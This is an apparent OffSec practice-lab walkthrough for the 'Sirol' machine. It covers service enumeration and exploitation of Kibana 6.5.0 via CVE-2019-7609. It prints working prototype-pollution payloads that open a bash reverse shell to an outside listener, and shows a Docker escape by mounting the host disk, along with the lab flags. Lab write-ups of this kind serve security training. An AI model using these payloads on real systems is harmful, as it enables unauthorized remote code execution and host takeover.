



**OffSec Practice**  
**Sirol(Intermediate-Hard)**  
**Alif**

# Enumeration

## Nmap

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
|_ ssh-hostkey:
|   2048 cd:88:cb:33:78:9a:bf:f0:31:57:d9:2f:ae:13:ee:db (RSA)
|   256 fb:54:3b:ba:f6:68:57:81:e4:65:6e:24:9c:db:6d:8a (ECDSA)
|_  256 be:6e:25:d1:88:09:7e:33:40:b3:56:6a:b4:ce:16:0d (ED25519)
53/tcp    closed domain
80/tcp    open  http      Apache httpd 2.4.25 ((Debian))
|_ http-server-header: Apache/2.4.25 (Debian)
|_ http-title: PHP Calculator
3306/tcp  open  mysql     MariaDB (unauthorized)
5601/tcp  open  esmagent?
|_ fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, RPCCheck, RTSP
Request, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
|   HTTP/1.1 400 Bad Request
|   FourOhFourRequest:
|   HTTP/1.1 404 Not Found
|   kbn-name: kibana
|   kbn-xpack-sig: 79b8a7336823018e37a1e121a9f3bb67
|   content-type: application/json; charset=utf-8
|   cache-control: no-cache
|   content-length: 60
|   connection: close
|   Date: Thu, 14 Mar 2024 02:57:36 GMT
|   {"statusCode":404,"error":"Not Found","message":"Not Found"}
|_ GetRequest:
|   HTTP/1.1 302 Found
|   location: /app/kibana
|   kbn-name: kibana
|   kbn-xpack-sig: 79b8a7336823018e37a1e121a9f3bb67
|   cache-control: no-cache
|   content-length: 0
|   connection: close
|   Date: Thu, 14 Mar 2024 02:57:30 GMT
|_ HTTPOptions:
|   HTTP/1.1 404 Not Found
|   kbn-name: kibana
|   kbn-xpack-sig: 79b8a7336823018e37a1e121a9f3bb67
|   content-type: application/json; charset=utf-8
|   cache-control: no-cache
|   content-length: 38
|   connection: close
|   Date: Thu, 14 Mar 2024 02:57:30 GMT
|_ {"statusCode":404,"error":"Not Found"}
24007/tcp open  rpcbind
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerpr
```


Create a n

## Port 5601 (Kibana)

Going to port 5601, I am greeted with a kibana interface, and i can find the version of the kibana system in the management tab:

Management


Version: 6.5.0

Elasticsearch

Index Management

Rollup Jobs

License Management

Kibana

Index Patterns

Saved Objects

Spaces

Reporting

Advanced Settings

And googling the exploit for this version brings me to this link:

<https://github.com/mpgn/CVE-2019-7609>

## Getting the shell

From this, it gives the instructions to paste one of the payloads below and run it:

```
.es(*).props(label.__proto__.env.AAAA=require("child_process").exec("bash -i >&/dev/tcp/192.168.45.170/4444 0>&1");process.exit();//)
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
```

```
.es(*).props(label.__proto__.env.AAAA=require("child_process").exec("bash -c \'bash -i>&/dev/tcp/192.168.45.170/4444 0>&1\'");//)
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
```

However, for me, only the second payload worked, i was able to get the reverse shell:

```
(kali㉿kali)-[~/Desktop/offsecLab/Sirol]
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.170] from (UNKNOWN) [192.168.159.54] 60942
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@0873e8062560:/# ls
ls
bin
boot
brick
dev
```

Once inside, i am able to get the user text file:

```
root@0873e8062560:/home# cd trent
cd trent
root@0873e8062560:/home/trent# ls
ls
local.txt
root@0873e8062560:/home/trent# cat local.txt
cat local.txt
dba70b2d979c
```

I am not, however, able to get the root text file even if I am the root user.

```

root@0873e8062560:/# cd root
cd root
root@0873e8062560:/root# ls -la
ls -la
total 420
drwx----- 1 root root 4096 Mar 14 03:31 .
drwxr-xr-x 1 root root 4096 Jun 10 2020 ..
-rw-r--r-- 1 root root 403496 Mar 14 03:31 .babel.json
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rwxr-xr-x 1 root root 82 Jun 10 2020 init
-rw-r--r-- 1 root root 67 Jun 10 2020 kibana.yml

```

It seems that inside the root folder, there is no file for the flag

This is because the shell is inside a docker container, this is why the hostname is a bunch of numbers and the / folder has a .dockerenv folder.

Will need to list the partitions for this host and create a new directory and mount the new directory to the partitions

```

root@0873e8062560:/# fdisk -l
fdisk -l
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x16939df4

Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 37750783 37748736 18G 83 Linux
/dev/sda2 37752830 41940991 4188162 2G 5 Extended
/dev/sda5 37752832 41940991 4188160 2G 82 Linux swap / Solaris

```

```
root@0873e8062560:/# mkdir /mnt/test
mkdir /mnt/test
root@0873e8062560:/# mount /dev/sda2 /mnt/test
mount /dev/sda2 /mnt/test
mount: wrong fs type, bad option, bad superblock on /dev/sda2,
       missing codepage or helper program, or other error

       In some cases useful info is found in syslog - try
       dmesg | tail or so.
root@0873e8062560:/# mount /dev/sda5 /mnt/test
mount /dev/sda5 /mnt/test
mount: unknown filesystem type 'swap'
root@0873e8062560:/# mount /dev/sda1 /mnt/test
mount /dev/sda1 /mnt/test
```

From here we can get the root flag:

```
root@0873e8062560:/mnt/test# cd root
cd root
root@0873e8062560:/mnt/test/root# ls
ls
proof.txt
root@0873e8062560:/mnt/test/root# cat proof.txt
cat proof.txt
bf94f357169b78cf73a98996aee1d85a
root@0873e8062560:/mnt/test/root# cd /
cd /
root@0873e8062560:/# ls
```